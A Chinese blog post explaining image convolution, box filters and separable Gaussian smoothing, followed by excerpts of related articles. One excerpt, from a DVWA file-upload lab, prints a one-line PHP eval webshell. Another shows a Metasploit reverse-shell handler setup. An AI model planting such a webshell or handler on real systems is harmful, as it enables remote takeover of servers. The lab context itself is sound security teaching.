數字圖像處理系列 | 線性濾波(高斯濾波)(3)

![在這里插入圖片描述](https://img-blog.csdnimg.cn/direct/b42de591ce8043268d986a7b02fbbf5e.png

  • 我們知道了什么是 線性平移不變系統是在做卷積操作 之后,我們發展出了一些非常簡單的 線性濾波去增強圖片,提取圖片特征

文章目錄

  • 1. 卷積如何在離散圖片中工作的
    • Vis 原圖和mask做卷積時發生了什么
      • 首先,如何得到 (i.j)位置的卷積 g[i,j] 呢?
    • 值得注意事情
  • 2. 應用示例:脈沖濾波器 (Impulse Filter)
    • 圖片平移:Image Shift
    • 圖片平均:Averaging
    • 平滑濾波 (Smoothing With Box Filter)
  • 3. 模糊濾波 (Smoothing With "Fuzzy" Filter)
    • Fuzzy Filter 可以用 高斯卷積核 來表示
    • 來看看Guassian Smoothing
    • 為什么高斯濾波 這么受歡迎:因為高斯是可分離的

1. 卷積如何在離散圖片中工作的

  • f[i, j]: 離散圖片, 是圖片中(i,j) 的像素值
    • i: row Number
    • j: Col Number
  • M, N 是整張圖的大小
  • m, n 是卷積核大小
  • Convolved by some impulse response h[i,j]
  • h[i-m, j-n]: 被稱為 ”Mask", “Kernel”, “Filter”
    在這里插入圖片描述
    在這里插入圖片描述

Vis 原圖和mask做卷積時發生了什么

在這里插入圖片描述

首先,如何得到 (i.j)位置的卷積 g[i,j] 呢?

  • h[m, n] 是一個卷積核
    在這里插入圖片描述

  • 反轉 h[-m, -n], 看顏色變了吧

  • 這里的h是卷積核哦
    在這里插入圖片描述

  • 然后,把卷積核放在你想得到的坐標那里,這里是**(i, j)的位置**
    在這里插入圖片描述

  • 做一個卷積相乘,加和,得到右側的橙色,這就是當前位置的卷積結果
    在這里插入圖片描述

  • 你想要得到所有的g[i,j], 你就重復上述動作,1. 旋轉你的卷積核,2. slide over entire image

值得注意事情

在這里插入圖片描述

2. 應用示例:脈沖濾波器 (Impulse Filter)

平移不變性指我們在圖像的每個位置都執行相同的操作。線性指這個操作是線性的,也就是我們用每個像素的鄰域的線性組合來代替這個像素。
在這里插入圖片描述

圖片平移:Image Shift

  • 反轉 卷積核,右下角的白色方塊 --> 左上角,然后全圖經過卷積,原圖整體向右,向下移動。
    在這里插入圖片描述

圖片平均:Averaging

  • Box Filter: 匯集了 周圍 5x5=25 個像素的值,所以卷積之后,該位置的值會變得非常大,但我們8 bit的圖像中,數值范圍是從(0, 255)的,所以 超過255的就按255算,反之小于0 的按0 算。
    在這里插入圖片描述
  • 確保你設計Filter的時候,Filter要做歸一化,要不就產生上面的問題了,所有的數字相加都到255 了
  • 這樣做,圖就不會過度曝光了吧,變的平滑了吧
    在這里插入圖片描述

平滑濾波 (Smoothing With Box Filter)

  • 是不是看起來不太自然,好吧
  • 然我們看看下一節,高斯濾波,會讓他變的自然起來
    在這里插入圖片描述

3. 模糊濾波 (Smoothing With “Fuzzy” Filter)

在這里插入圖片描述

Fuzzy Filter 可以用 高斯卷積核 來表示

  • σ 是標準差 \sigma是標準差 σ是標準差
  • σ 2 是方差 \sigma^2是方差 σ2是方差
  • σ \sigma σ 越大,高斯的邊界越大
    在這里插入圖片描述
  • 這里推薦卷積核大小k,因為這能最大化的使用高斯的能量(突出來的部分)
  • 我們可以看到σ=5的中央要比,σ=2的中央暗很多,因為k=5的時候像素很多,然后做了歸一化就變得很小了
  • 推薦的k值為 k = 2 π σ k = 2 \pi \sigma k=2πσ

在這里插入圖片描述

來看看Guassian Smoothing

  • $ \sigma$ 越大越模糊哦在這里插入圖片描述
    在這里插入圖片描述

為什么高斯濾波 這么受歡迎:因為高斯是可分離的

  • 2D 高斯 -> 1D 高斯
  • 做1D 高斯計算量會比 2D 小很多
    在這里插入圖片描述
    在這里插入圖片描述
  • 來看看高斯1D, 2D的計算量
    在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/19167.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/19167.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/19167.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

操作系統中的內存管理

虛擬內存 操作系統會提供一種機制,將不同進程的虛擬地址和不同內存的物理地址映射起來。如果程序要訪問虛擬地址的時候,由操作系統轉換成不同的物理地址,這樣不同的進程運行的時候,寫入的是不同的物理地址,這樣就不會沖…

Python 技能提升(一)

python注釋規范 # Add commit for you codes. # The proper addition of comments is so beautiful.from abc import abstractmethoddef add(a: int, b: int) -> int:# You can write some necessary notes here.# Such as the role of functions, the types and roles of …

Slurm集群使用基礎

Introduction 我們在做生物信息分析時,對于大規模的上游數據的處理,一般需要在大型服務器或集群上進行。我最早接觸并使用的是一個基于SLURM調度系統的集群,在此記錄一下基礎使用方法。 高性能計算集群(High-Performance Comput…

React 使用JSX或者TSX渲染頁面

02 Rendering with JSX Your first JSX content In this section, we’ll implement the obligatory " Hello, World " JSX application. At this point, we’re just dipping our toes in the water; more in-depth examples will follow. We’ll also discuss wh…

vs code中編寫c++基本使用以及問題總結

vs code基本使用以及總結 launch.json作用 這個文件配置了調試器的設置,允許你定義如何啟動和調試你的程序。這包括配置執行路徑、傳遞給程序的參數、環境變量以及特定語言或框架的調試器選項。 常用配置 "version": "0.2.0": 這是配置文件…

kotlin基礎之協程

Kotlin協程(Coroutines)是Kotlin提供的一種輕量級的線程模型,它允許我們以非阻塞的方式編寫異步代碼,而無需使用回調、線程或復雜的并發API。協程是一種用戶態的輕量級線程,它可以在需要時掛起和恢復,從而有…

安卓中的圖片壓縮

安卓中如何進行圖片壓縮? 在安卓中進行圖片壓縮通常有以下幾種方法: 質量壓縮: 通過降低圖片的質量來減小文件大小。這可以通過Bitmap的compress()方法實現,其中可以設置壓縮質量(0-100)。 ByteArrayOutputStream baos…

【滲透測試】|文件上傳

1、安裝使用蟻劍 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陸dvwa,進入初級文件上傳&#xff0c;上傳一句話木馬文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 執行命令的函數 //ccit:一句話木馬文件的參數…

滲透測試工具Cobalt strike-2.CS基礎使用

三、結合metasploit,反彈shell 在kali中開啟使用命令開啟metasploit msfconsole ┌──(root?oldboy)-[~] └─# msfconsole --- msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp --- msf6 exploit(multi/handler) > show …

[10] CUDA程序性能的提升 與 流

CUDA程序性能的提升 與 流 1. CUDA程序性能的提升 在本節中,我們會看到用來遵循的基本的一些性能來提升準則,我們會逐一解釋它們1.1 使用適當的塊數量和線程數量 研究表明,如果塊的數量是 GPU 的流多處理器數量的兩倍,則會給出最佳性能,不過,塊和線程的數量與具體的算法…

什么是訪問控制漏洞

什么是AC Bugs&#xff1f; 實驗室 Vertical privilege escalation 僅通過隱藏目錄/判斷參數來權限控制是不安全的&#xff08;爆破url/爬蟲/robots.txt/Fuzz/jsfinder&#xff09; Unprotected functionality 訪問robots.txt 得到隱藏目錄&#xff0c;訪問目錄 &#xff0c;…

基于Visual Studio版本的AI編程助手

Visual Studio 是一個出色的 IDE,可用于構建適用于 Windows、Mac、Linux、iOS 和 Android 的豐富、精美的跨平臺應用程序。 使用一系列技術(例如 WinForms、WPF、WinUI、MAUI 或 Xamarin)構建豐富。 1、安裝 點擊上方工具欄拓展選項,選擇管理拓展選項 接著在聯機頁面中搜索&q…

基于51單片機的室內空氣質量檢測-仿真設計

本設計是基于單片機的空氣質量檢測設計&#xff0c;主要實現以下功能&#xff1a; 可實現通過SGP30測量二氧化碳及甲醛濃度&#xff0c;當超過設置的最大值時&#xff0c;進行報警及通風和凈化空氣處理 可實現通過MQ-4測量甲烷濃度&#xff0c;當超過設置的最大值時&#xff0…

壓力測試JMeter

壓力測試JMeter 1 下載JMeter1.1 測試計劃1.2 JMeter Address Already in use 錯誤解決1.3 java 內存模型1.4 jconsole與jvisualvm1.5 優化方向1.6 Nginx動靜分離 1 下載JMeter 官網地址&#xff1a;https://jmeter.apache.org/download_jmeter.cgi 運行apache-jmeter-5.6.3\…

HaloDB 的 Oracle 兼容模式

↑ 關注“少安事務所”公眾號&#xff0c;歡迎?收藏&#xff0c;不錯過精彩內容~ 前傾回顧 前面介紹了“光環”數據庫的基本情況和安裝辦法。 哈嘍&#xff0c;國產數據庫&#xff01;Halo DB! 三步走&#xff0c;Halo DB 安裝指引 ★ HaloDB是基于原生PG打造的新一代高性能安…

代碼隨想錄訓練營Day 43|力扣343. 整數拆分、96.不同的二叉搜索樹

1.整數拆分 代碼隨想錄 視頻講解&#xff1a;動態規劃&#xff0c;本題關鍵在于理解遞推公式&#xff01;| LeetCode&#xff1a;343. 整數拆分_嗶哩嗶哩_bilibili 代碼&#xff1a; class Solution { public:int integerBreak(int n) {// dp[i] 拆分數字i所獲得的最大乘積為d…

景源暢信:抖音小店如何開櫥窗?

在當今數字化時代&#xff0c;社交媒體平臺不僅僅是人們交流和分享生活的工具&#xff0c;更成為了商家們展示和銷售產品的重要場所。抖音作為一款流行的短視頻社交應用&#xff0c;其內置的電商功能——抖音小店&#xff0c;為眾多商家和個人提供了便捷的在線銷售途徑。其中&a…

使用NuScenes數據集生成ROS Bag文件:深度學習與機器人操作的橋梁

在自動駕駛、機器人導航及環境感知的研究中&#xff0c;高質量的數據集是推動算法發展的關鍵。NuScenes數據集作為一項開源的多模態自動駕駛數據集&#xff0c;提供了豐富的雷達、激光雷達&#xff08;LiDAR&#xff09;、攝像頭等多種傳感器數據&#xff0c;是進行多傳感器融合…

Go語言 gRPC 簡述

參考文章 grpc-我們為什么要用gRpc&#xff1f;gRpc快在哪里&#xff1f;_grpc 優點-CSDN博客 GRPC詳解-CSDN博客 1. 什么是gRPC gRPC 是一個高性能 遠程調用(RPC)框架&#xff0c;屏蔽分布式計算中的各種調用細節&#xff0c;可以像本地調用一樣調用遠程的函數。 2. 為什么要…

jmeter多用戶并發登錄教程

有時候為了模擬更真實的場景&#xff0c;在項目中需要多用戶登錄操作&#xff0c;大致參考如下 jmx腳本&#xff1a;百度網盤鏈接 提取碼&#xff1a;0000 一&#xff1a; 單用戶登錄 先使用1個用戶登錄&#xff08;先把1個請求調試通過&#xff09; 發送一個登錄請求&…